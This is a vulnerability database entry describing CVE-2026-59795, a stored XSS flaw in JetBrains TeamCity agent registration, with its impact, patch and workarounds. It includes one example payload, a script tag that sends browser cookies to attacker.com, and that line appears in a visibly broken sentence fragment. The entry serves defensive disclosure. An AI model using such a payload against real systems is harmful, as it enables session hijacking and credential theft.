
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-59795 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity that allows unauthenticated attackers to inject malicious scripts via the agent registration process. The vulnerability affects all versions of JetBrains TeamCity before 2026.1.2. It was published on July 10, 2026, with a patch available in version 2026.1.2. The NVD assigns a CVSS v3.1 base score of 6.1 (Medium), while the GitHub Advisory Database and ENISA rate it at 8.1 (High) (GitHub Advisory, JetBrains).
The root cause is improper neutralization of user-controllable input during web page generation (CWE-79), specifically within the agent registration workflow. Because TeamCity permits unauthenticated agent registration, an attacker can submit crafted registration data containing malicious JavaScript payloads without any prior authentication. These scripts are stored server-side and subsequently rendered in the browsers of authenticated users (e.g., administrators) who view agent information pages, triggering execution in their session context. No public proof-of-concept exploit code has been identified at this time (GitHub Advisory, JetBrains).
Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browsers of authenticated TeamCity users, including administrators. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of the victim (such as modifying build configurations or accessing sensitive CI/CD pipeline data), and potential lateral movement within the development infrastructure. Confidentiality and integrity are both impacted, though availability is not directly affected (GitHub Advisory).
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) embedded in a registration field such as the agent name or hostname.JetBrains has released a patch in TeamCity version 2026.1.2, which resolves this vulnerability. Organizations should upgrade to version 2026.1.2 or later as the primary remediation step. As a workaround where immediate upgrade is not feasible, consider restricting agent registration to authenticated users only, implementing a web application firewall (WAF) to filter XSS payloads in registration requests, and limiting network access to the TeamCity agent registration endpoint to trusted IP ranges (JetBrains, GitHub Advisory).
Coverage of this vulnerability appeared across several security news outlets following the July 10, 2026 disclosure, including GBHackers, CyberSecurityNews, SecurityOnline, and VPNcentral, typically in the context of a broader JetBrains patch release addressing six vulnerabilities across TeamCity, YouTrack, and IntelliJ IDEA. Social media activity was noted on Mastodon via TheHackerWire. Detection support was added by Tenable (Nessus plugin 327417) and Qualys (detection ID 531793) shortly after disclosure (GBHackers, CyberSecurityNews, VPNcentral).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."